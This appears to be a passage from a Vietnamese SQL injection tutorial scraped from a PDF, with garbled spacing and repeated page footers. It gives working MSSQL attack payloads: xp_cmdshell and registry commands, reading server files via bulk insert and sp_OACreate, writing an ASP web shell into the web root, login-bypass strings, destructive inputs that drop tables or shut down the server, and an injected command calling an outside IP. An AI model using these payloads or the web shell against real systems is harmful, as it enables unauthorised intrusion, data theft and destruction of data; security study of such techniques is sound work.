7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty để tạo script (ActiveX) chạy trên server

[xp_cmdshell]

Chắc các bạn cũng nghe nhi ều r ồi ví dụ:

exec master..xp_cmdshell 'dir'

exec master..xp_cmdshell 'net1 user'

Sữ dụng để thi hành các lệnh của dos vvv.. rấ t hư u hiệu

[xp_regread]

Các hàm liên quan...

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

Ví dụ:

exec xp_regread HKEY_LOCAL_MACHINE,

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 21/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters','nullsessionshares'

Xác đinh null-session share có t ồn tại trên server

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Servi ces\snmp\parameters\validcommunities'

v... còn nhi ều thứ nữ a[Other Extended Stored Procedures]

services:

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

>ngó qua cũng biế t nó làm gì...

[Importing text files into tables]

Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn:

create table foo( line varchar(8000) )

tiế p tục:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

[Creating Text Files using BCP]

VD:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

[ActiveX automation scripts in SQL Server]

Dùng 'wscript.shell'

vd:

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Tren câu truy vấ n:

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

Dùng 'scripting.filesystemobject' để đọc file:

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 22/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

end

Tạo script ASP để thi hành command:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out,

'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run(

request.querystring("cmd") ) %>'

Đây là nhữ ng cách bạn có thể dùng rấ t hiệu quả,bạn hãy sáng tạo thêm cho mình từ nhữ ng chỉ dẫn cơ bản này.

Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiế t kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ c ần download database từ  trên Internet v ề và sữ a đổi dữ  liệu đã được cập nhật từ 1 database.Một trong nhữ ng n ền phổ biế ncho web datastores là SQL.Một hay nhi ều ứ ng dụng web thì được đơn giản toàn bộ nhữ ng script đầu vào bằng cách truy vấ n 1SQL database,bản thân web server hoặc 1 hệ thố ng đầu cuố i riêng biệt.Một trong nhữ ng cuộc tấ n công xảo quyệt nhấ t ứ ngdụng web bao g ồm việc đánh cắp queries sử dụng bởi bản thân nhữ ng scripts đầu vào để tước quy ền đi ều khiển nhữ ng ứ ngdụng hoặc dữ  liệu của nó.Một trong nhữ ng cơ cấ u có hiệu quả nhấ t để thự c hiên đi ều này là k ĩ thuật được mang tên "SQLInjection".SQL Injection chỉ việc đư a vào nhữ ng đoạn truy vấ n nguy hiểm TransacSQL vào 1 vị trí để thự c hiện nhữ ng hoạt động khôngngờ.Thường thì nhữ ng đoạn truy vấ n hiện có đơn giản là Edit để hoàn thành nhữ ng kế t quả tương tự .TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự  đơn,tuỳ thuộc vào sự sáng suố t có kẻ tấ n công để đư a ra nhữ ngđoạn truy vấ n nguy hiểm.Một số các kí tự thường được sử dụng để chèn dữ  lịêu vào hợp lệ trong bao g ồm (');(--);và ;.Chúng có nhữ ng ý ngh ĩ a đặc biệttrong Transact SQL.Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ  liệu.Với nhữ ng k ĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc thậm chí là tìm cách hoàn toàn đi ều khiển toàn bộ webserver hoặc hệ thố ng SQL đầu cuố i.

Ví dụ v ề SQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1 số từ khoá trong Form field như sau:

+Đăng nhập hợp pháp:-Xác nhận đúng mà không c ần bấ t kì đi ều kiện nào:USER:' OR "='PASS:' OR "='-Xác nhận đúng chỉ với username:USER:admin'---Xác nhận đúng như  là người dùng đầu tiên trong user table:USER:' or 1=1---Xác nhận đúng như  là 1 người dùng giả tạo:USER:' union select 1,'user','passwd' 1--+Phá hoại:-Bỏ 1 bảng dữ  liệu:USER:';drop table users---Shutdown dữ  liệu từ xa:USER:aaaaaaaaaaaaaaa'

PASS:';shutdown--+Thự c thi chứ c năng yêu c ầu lấ y và lư u trữ nhữ ng thủ tục:-Thi hành xp_cmdshell để lấ y 1 danh sách thư mục:http://localhost/script?0';EXEC+master...#39;dir';---Thi hành xp_service control để chiế m đoạt service:http://localhost/script?0';EXECT+maste...;server';--Không phải cú pháp trên đều làm việc h ầu hế t trên các dữ  liệu.Thông tin sau sẽ cho biế t nhữ ng phương pháp chúng ta đã sơ lược phía trên sẽ làm việc hay không trong nhữ ng n ền chứ a dữ  liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ sosánh:

Datapase specific Information:---My SQL----Oracle-----DB2------Postgre-----MSSQL

UNION possible:----------------------Y------------Y---------Y------------Y------------Y---

Subselects possible:-----------------N------------Y---------Y------------Y------------Y---

Multiple statements:-----------------N(mostly)---N---------N----------Y-------------Y--

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 23/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

Default stored procedures:---------_--Many(utf-file)------_----------_-------M(cmdshell)

Other Comments:----------Supports"intooutfile"-_-------_-----------_-------------_----

+Các công cụ tự  động tìm lỗi SQL injection:SQL Injection thường được thự c hiện bằng k ĩ thuật của hacker,như ng 1 vài công cụ có thể tự  động quá trình nhận dạng và khaithac chỗ yế u.Wpoison là công cụ có thể phát hiện lỗi SQLInjection trong các trang web.Nhữ ng đoạn string tìm lỗi SQL thì được

lư u trữ  trong 1 file từ  điển,và vì thế nó trở lên dễ dàng cho bấ t kì ai thêm vào danh sách từ  điển cho riêng mình.Wpoison chạytrên Linux,có thể download tại:http://wpoison.sourceforge.net Ngoài ra còn có công cụ SPIKE Proxy,nó có các chứ c năng khá tố t-tự  động thự c hiện SQL Injection -nhữ ng d0oạn string sẽ được Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python và OpenSSL-công cụ đánh giá ứ ng dụng web cơ bản cócác chứ c năng như HTTP và HTTPS Proxy...Nó cho phép người phát triển web hoặc người quản trị ứ ng dụng web cấ p thấ p truycập vào tòan bộ phương tiện ứ ng dụng web,trong khi nó cũng cung cấ p 1 nhóm các công cụ tự  động và nhữ ng k ĩ năng khámphá ra nhữ ng lỗi thông thường,các công cụ đó bao g ồm:SQL Injection,Website Crawler,Login Form Brute Forcer,AutomatedOverflow Detection..v.vSpike Proxy chạy trên Win32 và Linux,các bạn có thể Download tại:www.immunitysec.com/spike.html Chú ý là ph ần m ềm này nặng khoảng 13M và máy tính của bạn phải có sẵn Python và OpenSSL.Trong WinXP công cụ nàykhông hoạt động.

Mieliekoek.pl là 1 SQL Insertion Crawler,có chứ c năng kiểm tra các form liên quan đế n lỗi SQL.Scrip này cung cấ p 1 công cụ Web mirroring như  là dữ  liệu vào,xem xét từ ng file và nhân diện sự t ồn tại các form trong file.Các chuỗi được Inject có thể dễ dàng thay đổi trong file cấ u hình.Download Mieliekoek tại:http://packetstormsecurity.nl/UNIX/s.../mieliekoek.pl Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là 1 ví dụ của dữ  liệu xuấ t từ mieliekoek:

$badstring="blah''';#$badstring="blah' or 1=1 --";$badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' - ';

----------------------------------------------------------------------------------------------------------------------------------------------

Administrator- http://be-yeu.ws/